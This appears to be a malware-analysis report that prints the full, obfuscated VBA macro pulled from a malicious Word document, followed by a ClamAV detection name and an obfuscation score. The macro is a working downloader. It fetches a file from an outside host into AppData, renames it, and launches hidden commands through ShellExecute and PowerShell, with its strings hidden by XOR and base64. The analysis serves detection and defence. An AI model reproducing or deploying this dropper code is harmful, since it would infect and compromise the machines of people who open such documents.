WoZyEFjSMBxEsEsdHaYaMGWmhGiPkmQBDuikabcjBlXRiovT = "http://brkle.tk/Any786"

Dim QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy As Object
Set QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy = CreateObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("KB8tIy46CQsyWzEoOgYFFRk=")))
QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy.Open "GET", WoZyEFjSMBxEsEsdHaYaMGWmhGiPkmQBDuikabcjBlXRiovT, False, "username", "password"
QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy.send

If QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy.Status = 200 Then
Set QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn = CreateObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("JDIBFQNnNRk0EAgI")))
QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.Open
QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.Type = 1
QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.Write QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy.responseBody
QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.SaveToFile Environ$("AppData") + "\" + mPBmChFncHYZQLNJAmiSOHsBeGvyeVVPlJLNjoDBwnPJrGkFk, 2
QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.Close
End If

End Sub

Sub alWIFHasCljGsMqURBEHbLpZWwPWdKlSNhZMPUPljwFSYNVhMsSPObyWDONfOUHMPPYLsMCEzqyIssMhn(iNSMmBrFwGjjAOxKcjXFVyqwYnntESrcyRVdvONJQRdWpnmfmVIlYUzVTcfFqXHdgJLQiGRbLrUrJarfejonXaKSvQ As String)

Name Environ("AppData") + "\" + iNSMmBrFwGjjAOxKcjXFVyqwYnntESrcyRVdvONJQRdWpnmfmVIlYUzVTcfFqXHdgJLQiGRbLrUrJarfejonXaKSvQ As Environ("AppData") + "\" + iNSMmBrFwGjjAOxKcjXFVyqwYnntESrcyRVdvONJQRdWpnmfmVIlYUzVTcfFqXHdgJLQiGRbLrUrJarfejonXaKSvQ + ".txt"

End Sub


Public Function RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd(RATEUFJwSa As String, IIrnREylOlBxchvQPxJIOewXOrGcbTvznhnomgoDPk As String) As String
Dim JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP() As Byte
Dim vdOukxgfXcKHqpmtaNNtTDwlSnpEttpLXhg() As Byte
Dim NFVAqsdeKMPtZSYYDWpBNRwftqhNCI As Long
Dim smlTyCUtPKknaFeIAWTmTxPoUqVnImwvxTmcmwUhONMnDAaVWFWYyjcmHjxbmmQmvtFlecqYRVNXXhlsfBctJVH As Long
Dim WwSBSPtuihbXugQdUZcGptkIfJNjmpMqZXiFgjNIVdodBlfUBLlAzmkymRwwNKTNS As Long
Dim EnjIooZPcPsmbvSsnTSkOqSEJXQgogp As Long

JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP = StrConv(IIrnREylOlBxchvQPxJIOewXOrGcbTvznhnomgoDPk, vbFromUnicode)
vdOukxgfXcKHqpmtaNNtTDwlSnpEttpLXhg = StrConv(RATEUFJwSa, vbFromUnicode)
NFVAqsdeKMPtZSYYDWpBNRwftqhNCI = UBound(JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP)
smlTyCUtPKknaFeIAWTmTxPoUqVnImwvxTmcmwUhONMnDAaVWFWYyjcmHjxbmmQmvtFlecqYRVNXXhlsfBctJVH = UBound(vdOukxgfXcKHqpmtaNNtTDwlSnpEttpLXhg)
For WwSBSPtuihbXugQdUZcGptkIfJNjmpMqZXiFgjNIVdodBlfUBLlAzmkymRwwNKTNS = 0 To NFVAqsdeKMPtZSYYDWpBNRwftqhNCI
JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP(WwSBSPtuihbXugQdUZcGptkIfJNjmpMqZXiFgjNIVdodBlfUBLlAzmkymRwwNKTNS) = JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP(WwSBSPtuihbXugQdUZcGptkIfJNjmpMqZXiFgjNIVdodBlfUBLlAzmkymRwwNKTNS) Xor vdOukxgfXcKHqpmtaNNtTDwlSnpEttpLXhg(EnjIooZPcPsmbvSsnTSkOqSEJXQgogp)
If EnjIooZPcPsmbvSsnTSkOqSEJXQgogp < smlTyCUtPKknaFeIAWTmTxPoUqVnImwvxTmcmwUhONMnDAaVWFWYyjcmHjxbmmQmvtFlecqYRVNXXhlsfBctJVH Then
EnjIooZPcPsmbvSsnTSkOqSEJXQgogp = EnjIooZPcPsmbvSsnTSkOqSEJXQgogp + 1
Else
EnjIooZPcPsmbvSsnTSkOqSEJXQgogp = 0
End If
Next WwSBSPtuihbXugQdUZcGptkIfJNjmpMqZXiFgjNIVdodBlfUBLlAzmkymRwwNKTNS
RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd = StrConv(JfVUoKVagTFGzbNnUyWYKEAeNAUJFqP, vbUnicode)
End Function
Sub sl()
Dim time1, time2

time1 = Now
time2 = Now + TimeValue("0:00:03")
Do Until time1 >= time2
DoEvents
time1 = Now()
Loop

End Sub
Sub QTSBQqxAXoVxwNimQsjatsyrLRnYecFUiKMcedPBANrYcJUQDtTzttUcityJOTKieeZJAqISEZLda(WklHokhvbsApWPfdzknZh As String)
Set ruIHkCEitJbbzHIsbXTfMZexmNjsFqbBBR = GetObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("CxM5awJ5XiwAMVBVWwhjAHhLXHcxWEhOemR0ZFZdB0UqXEcIYnlxVg==")))
ruIHkCEitJbbzHIsbXTfMZexmNjsFqbBBR.Document.Application.ShellExecute RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", "FRk5NDM6DggqGUcADis="), RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("BA==")), "C:\Windows\System32\WindowsPowerShell\v1.0\", Null, 0

End Sub


Sub GruIGMgTmRaMOwKOCoLcfePDzDZXUjALBKWPFOAhNfjWkgFoDwbkQ(WlphvfAKwaCkwROzuAxmxQpwpwSRcpAsEdQhzaOxUbrqprsSOWNofgoQPdWxvdDEslZTlblgwdu As String)

Dim YFXOLVZFIrQQdJbzHdJFnbhWcmkmKgyAxjYWNBdGJonDobtAqIrcLtHA: Set YFXOLVZFIrQQdJbzHdJFnbhWcmkmKgyAxjYWNBdGJonDobtAqIrcLtHA = CreateObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", "Nh4rPS1nJx02GQAGFzo4Lic="))
YFXOLVZFIrQQdJbzHdJFnbhWcmkmKgyAxjYWNBdGJonDobtAqIrcLtHA.ShellExecute RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("FxMp")), RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("BBIqcQkCIzQZNjw3JAsfFRYzPgMnNTY5CAUWCDQoGjgABgQhIi4vEjERHAcBGTkiHQoTHzQQBxEgKyMyIAkDGiccC1ZhJ2E=")), "", "", 0

End Sub

Sub RuIXdbXbZrJsLewgrkgkIVJlqRVKVZvwCjPAVVDFYJsmnbu()

Dim ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC As String
MsgBox RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("FxMvMCAoBwwnFAgEFy8wICgHDCcUCAQXLzAgKAcMJxQIBBcvMCAoBwwnFAgEFy8wICgHDCcUCAQXLzAgKAcMJxQIBBcvNg=="))
'ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC = dQPQOOdOSmnIaDPRliCiKDpQZpKkMXXJuIXhEELtokrqMaZAAheWcrNzxPxPBHMkLLFBEcgAGZdRqXihSgFfDlPUJVbWuRaqEA(7)
'zJuIzelztHofPgbmPDCMhKvpQzMXXBlRDGjSBDXdCaJxtUrzoSkJmTbWSPgQkUlqDbBEWcZtfS ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC
'alWIFHasCljGsMqURBEHbLpZWwPWdKlSNhZMPUPljwFSYNVhMsSPObyWDONfOUHMPPYLsMCEzqyIssMhn ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC
'GruIGMgTmRaMOwKOCoLcfePDzDZXUjALBKWPFOAhNfjWkgFoDwbkQ ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC
'sl
'QTSBQqxAXoVxwNimQsjatsyrLRnYecFUiKMcedPBANrYcJUQDtTzttUcityJOTKieeZJAqISEZLda ZawmdEeHFTntaSWAqYYMvxjTvGuJuAJVjPC
End Sub



Function DecodeBase64(aYfuAsOtmYLiIIVCKmYzaDlqSTeUwFoHgbYJFRYlGG$)
Dim acNUvYsnfRodlCYSjfNwYYRNYvoOLIqejOncFrgREONtjW
With CreateObject("Microsoft.XMLDOM").createElement("aYfuAsOtmYLiIIVCKmYzaDlqSTeUwFoHgbYJFRYlGG")
.DataType = "bin.base64": .Text = aYfuAsOtmYLiIIVCKmYzaDlqSTeUwFoHgbYJFRYlGG
acNUvYsnfRodlCYSjfNwYYRNYvoOLIqejOncFrgREONtjW = .nodeTypedValue
With CreateObject("ADODB.Stream")
.Open: .Type = 1: .Write acNUvYsnfRodlCYSjfNwYYRNYvoOLIqejOncFrgREONtjW: .Position = 0: .Type = 2: .Charset = "utf-8"
DecodeBase64 = .ReadText
.Close
End With
End With
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 150528 bytes
SHA-256: 39d144b581c34f1015c182172a81e41e282eea7d3fda43ca0fa776e4b629119c
Detection
ClamAV: Doc.Downloader.Shellhide-10014935-0
Obfuscation or payload: likely
2107 of 2486 identifiers look randomly generated (e.g. 'jsPpFwHGEeAfizOqsVZTiaHtfGhGbWXsAEdaqFEk') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.